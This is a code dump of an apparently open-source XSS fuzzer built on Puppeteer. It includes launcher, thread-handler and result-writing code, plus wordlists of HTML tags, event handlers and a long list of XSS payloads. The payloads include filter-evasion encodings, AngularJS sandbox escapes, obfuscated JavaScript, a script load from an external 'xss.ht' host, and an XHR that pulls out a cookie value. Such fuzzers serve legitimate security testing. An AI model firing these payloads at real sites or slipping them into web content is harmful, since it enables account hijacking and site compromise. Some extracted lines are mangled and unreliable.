setChromePath(program.chromePath) 57 | } 58 | 59 | var config = require(path.join(__dirname,'/config.json')) 60 | //resolve ch 61 | var chromium_path = resolveChromiumPath(config); 62 | 63 | 64 | //init tool 65 | (async () => { 66 | try{ 67 | browser = await puppeteer.launch({executablePath:chromium_path,args: ['--no-sandbox', '--disable-setuid-sandbox'], ignoreHTTPSErrors: sslIgnore}); 68 | }catch(e){ 69 | console.log(`${fail} Failed to launch chromium browser. `) 70 | console.log(e) 71 | process.exit(1) 72 | } 73 | terminator.browser = browser; 74 | threadHandler = new ThreadHandler(browser) 75 | 76 | 77 | //normal mode 78 | if(program.wordlist && program.url){ 79 | const {SingleUrlFuzzer} = require('./fuzzers/SingleUrlFuzzer.js') 80 | var suFuzzer = new SingleUrlFuzzer(program.url, cbHandler, threadHandler, terminator, wordlist, verbose); 81 | //initialize threads 82 | for(var i=0;i{ 94 | terminator.graceful() 95 | }) 96 | 97 | 98 | 99 | 100 | 101 | //Get url from stdin 102 | }else if(program.wordlist){ 103 | console.log('Running stdin fuzzer mode.') 104 | const {SingleUrlFuzzer} = require('./fuzzers/SingleUrlFuzzer.js') 105 | const rl = readline.createInterface({ 106 | input: process.stdin, 107 | output: process.stdout 108 | }); 109 | 110 | rl.on('line', (url) => { 111 | if(url=='') return 112 | var suFuzzer = new SingleUrlFuzzer(url, cbHandler, threadHandler, terminator, wordlist, verbose, true); 113 | //initialize threads 114 | for(var i=0;i{ 120 | terminator.graceful() 121 | }) 122 | 123 | 124 | //get payloads from stdin 125 | }else if(program.url){ 126 | console.log('Invalid arguements.')//This mode is not yet implemented 127 | process.exit(1) 128 | 129 | 130 | 131 | //test single url 132 | }else{ 133 | console.log('Running on stdin single payload mode..') 134 | const {SinglePayloadFuzzer} = require('./fuzzers/SinglePayloadFuzzer.js') 135 | 136 | const rl = readline.createInterface({ 137 | input: process.stdin, 138 | output: process.stdout 139 | }); 140 | rl.on('line', (url) => { 141 | if(url=='') return 142 | var singlePayloadFuzzer = new SinglePayloadFuzzer(url, cbHandler, threadHandler, terminator, verbose); 143 | var newThread = threadHandler.newThread(browser, singlePayloadFuzzer, cbHandler); 144 | }); 145 | 146 | rl.on('SIGINT', ()=>{ 147 | terminator.graceful() 148 | }) 149 | 150 | } 151 | 152 | 153 | 154 | 155 | })(); 156 | -------------------------------------------------------------------------------- /terminator.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | class Terminator{ 5 | constructor(process,program){ 6 | this.terminatedCount=0; 7 | this.terminated=false; 8 | this.workerCount=0; 9 | //register signal handlers 10 | process.once('SIGINT', function (code) { 11 | Terminator.prototype.graceful() 12 | }); 13 | 14 | process.once('SIGTERM', function (code) { 15 | Terminator.prototype.graceful() 16 | }); 17 | 18 | this.outputfile = program.output 19 | this.url = program.url 20 | } 21 | 22 | terminate(){ 23 | this.graceful(false); 24 | if(!this.terminated){ 25 | this.terminated=true 26 | this.browser.close() 27 | } 28 | } 29 | 30 | register(thread){ 31 | this.workerCount+=1; 32 | } 33 | 34 | graceful(bTerminate=true){ 35 | console.log('\nExiting....') 36 | if(this.outputfile){ 37 | if(!pendingOutput.length){ 38 | console.log('No vulnerabilities found, not creating an output file.') 39 | if(bTerminate){ 40 | process.exit(1) 41 | }else{ 42 | return 43 | } 44 | } 45 | 46 | //there were results and output pending, write it in json format 47 | var result = {} 48 | baseUrl = this.url.replace(/^http(s)?:\/\//, '') 49 | baseUrl = baseUrl.replace(/\/.*$/, '') 50 | 51 | result.host = baseUrl 52 | result.fuzzTarget = this.url 53 | result.host_ip = remoteAddr 54 | result.port = remotePort 55 | result.source = 'puff-fuzzer' 56 | result.found = [] 57 | for(var i=0;i{ 18 | cbHandler.catchXSS(page, href) 19 | callback(thread) 20 | }) 21 | 22 | await page.exposeFunction('jsRedirectCallback', (href)=>{ 23 | cbHandler.catchRedirectJS(page, href) 24 | }) 25 | 26 | fuzzer.loadNextUrl(thread) 27 | return page 28 | } 29 | } 30 | 31 | 32 | module.exports = { 33 | ThreadHandler: ThreadHandler 34 | } -------------------------------------------------------------------------------- /wordlist-examples/events.txt: -------------------------------------------------------------------------------- 1 | onactivate 2 | onafterprint 3 | onafterscriptexecute 4 | onanimationcancel 5 | onanimationend 6 | onanimationiteration 7 | onanimationstart 8 | onauxclick 9 | onbeforeactivate 10 | onbeforecopy 11 | onbeforecut 12 | onbeforedeactivate 13 | onbeforepaste 14 | onbeforeprint 15 | onbeforescriptexecute 16 | onbeforeunload 17 | onbegin 18 | onblur 19 | onbounce 20 | oncanplay 21 | oncanplaythrough 22 | onchange 23 | onclick 24 | oncontextmenu 25 | oncopy 26 | oncut 27 | ondblclick 28 | ondeactivate 29 | ondrag 30 | ondragend 31 | ondragenter 32 | ondragleave 33 | ondragover 34 | ondragstart 35 | ondrop 36 | onend 37 | onended 38 | onerror 39 | onfinish 40 | onfocus 41 | onfocusin 42 | onfocusout 43 | onfullscreenchange 44 | onhashchange 45 | oninput 46 | oninvalid 47 | onkeydown 48 | onkeypress 49 | onkeyup 50 | onload 51 | onloadeddata 52 | onloadedmetadata 53 | onloadend 54 | onloadstart 55 | onmessage 56 | onmousedown 57 | onmouseenter 58 | onmouseleave 59 | onmousemove 60 | onmouseout 61 | onmouseover 62 | onmouseup 63 | onmozfullscreenchange 64 | onpageshow 65 | onpaste 66 | onpause 67 | onplay 68 | onplaying 69 | onpointerdown 70 | onpointerenter 71 | onpointerleave 72 | onpointermove 73 | onpointerout 74 | onpointerover 75 | onpointerrawupdate 76 | onpointerup 77 | onpopstate 78 | onreadystatechange 79 | onrepeat 80 | onreset 81 | onresize 82 | onscroll 83 | onsearch 84 | onseeked 85 | onseeking 86 | onselect 87 | onstart 88 | onsubmit 89 | ontimeupdate 90 | ontoggle 91 | ontouchend 92 | ontouchmove 93 | ontouchstart 94 | ontransitioncancel 95 | ontransitionend 96 | ontransitionrun 97 | onunhandledrejection 98 | onunload 99 | onvolumechange 100 | onwaiting 101 | onwebkitanimationend 102 | onwebkitanimationstart 103 | onwebkittransitionend 104 | onwheel -------------------------------------------------------------------------------- /wordlist-examples/tags.txt: -------------------------------------------------------------------------------- 1 | a 2 | a2 3 | abbr 4 | acronym 5 | address 6 | animate 7 | animatemotion 8 | animatetransform 9 | applet 10 | area 11 | article 12 | aside 13 | audio 14 | audio2 15 | b 16 | base 17 | basefont 18 | bdi 19 | bdo 20 | bgsound 21 | big 22 | blink 23 | blockquote 24 | body 25 | br 26 | button 27 | canvas 28 | caption 29 | center 30 | cite 31 | code 32 | col 33 | colgroup 34 | command 35 | content 36 | custom tags 37 | data 38 | datalist 39 | dd 40 | del 41 | details 42 | dfn 43 | dialog 44 | dir 45 | discard 46 | div 47 | dl 48 | dt 49 | element 50 | em 51 | embed 52 | fieldset 53 | figcaption 54 | figure 55 | font 56 | footer 57 | form 58 | frame 59 | frameset 60 | h1 61 | head 62 | header 63 | hgroup 64 | hr 65 | html 66 | i 67 | iframe 68 | iframe2 69 | image 70 | image2 71 | image3 72 | img 73 | img2 74 | input 75 | input2 76 | input3 77 | input4 78 | ins 79 | isindex 80 | kbd 81 | keygen 82 | label 83 | legend 84 | li 85 | link 86 | listing 87 | main 88 | map 89 | mark 90 | marquee 91 | menu 92 | menuitem 93 | meta 94 | meter 95 | multicol 96 | nav 97 | nextid 98 | nobr 99 | noembed 100 | noframes 101 | noscript 102 | object 103 | ol 104 | optgroup 105 | option 106 | output 107 | p 108 | param 109 | picture 110 | plaintext 111 | pre 112 | progress 113 | q 114 | rb 115 | rp 116 | rt 117 | rtc 118 | ruby 119 | s 120 | samp 121 | script 122 | section 123 | select 124 | set 125 | shadow 126 | slot 127 | small 128 | source 129 | spacer 130 | span 131 | strike 132 | strong 133 | style 134 | sub 135 | summary 136 | sup 137 | svg 138 | table 139 | tbody 140 | td 141 | template 142 | textarea 143 | tfoot 144 | th 145 | thead 146 | time 147 | title 148 | tr 149 | track 150 | tt 151 | u 152 | ul 153 | var 154 | video 155 | video2 156 | wbr 157 | xmp -------------------------------------------------------------------------------- /wordlist-examples/xss.txt: -------------------------------------------------------------------------------- 1 | 2 | '%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eshadowlabs(0x000045)%3C/script%3E 3 | < 7 | ¼script¾alert(¢XSS¢)¼/script¾ 8 | 9 | \";alert('XSS');// 10 | < 11 | 12 | javascript:/*--> 13 |
14 | 15 | exp/* 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | XSS 27 | XSS 28 | XSS 29 | 30 | PT SRC="https://ignis.xss.ht"> 31 | 32 | 33 | \xxs link\ 34 | ">window.onload=function(){document.forms[0].message.value='1';} 36 | x” 37 | +/v8%20+ADw-script+AD4-alert(1)+ADw-/script+AD4- 38 | +/v9%20+ADw-script+AD4-alert(1)+ADw-/script+AD4- 39 | +/v+%20+ADw-script+AD4-alert(1)+ADw-/script+AD4- 40 | +/v/%20+ADw-script+AD4-alert(1)+ADw-/script+AD4- 41 | %C0%BCscript>alert(1)%E0%80%BCscript>alert(1)%F0%80%80%BCscript>alert(1)%F8%80%80%80%BCscript>alert(1)%FC%80%80%80%80%BCscript>alert(1) 42 | {{constructor.constructor('alert(1)')()}} 43 | {{$on.constructor('alert(1)')()}} 44 | {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}} 45 | {{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}} 46 | {{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}} 47 | {{{}.")));alert(1)//"}} 48 | {{constructor.constructor('alert(1)')()}} 49 | {{$on.constructor('alert(1)')()}} 50 | constructor.constructor('alert(1)')() 51 | toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor) 52 | {}.")));alert(1)//"; 53 | 𓅂='',𓂀=!𓅂+𓅂,𓁄=!𓂀+𓅂,𓊎=𓅂+{}, 𓆣=𓂀[𓅂++],𓊝=𓂀[𓇎=𓅂],𓏢=++𓇎+𓅂,𓆗 =𓊎[𓇎+𓏢],𓂀[𓆗+=𓊎[𓅂]+(𓂀.𓁄+𓊎)[𓅂]+𓁄[𓏢]+𓆣+𓊝+𓂀[𓇎]+𓆗+𓆣+𓊎[𓅂]+𓊝][𓆗](𓁄[𓅂]+𓁄[𓇎]+𓂀[𓏢]+𓊝+𓆣+'`𓅂`')`` 54 | 55 | 'a'.constructor.prototype.charAt=[].join;[1]|orderBy:'x=1} } };alert(1)//'; 56 | constructor.constructor('alert(1)')() 57 | toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41) 58 | # 90 | # 91 | MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;getElementById(%22safe123%22).click=function()+{alert(Safe.get());};getElementById(%22safe123%22).click(test);# 92 | # 93 | %23 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | # 102 | #var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send(); 103 | 104 | 105 | #var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send(); 106 | 107 | 115 | ? 162 | "> 163 |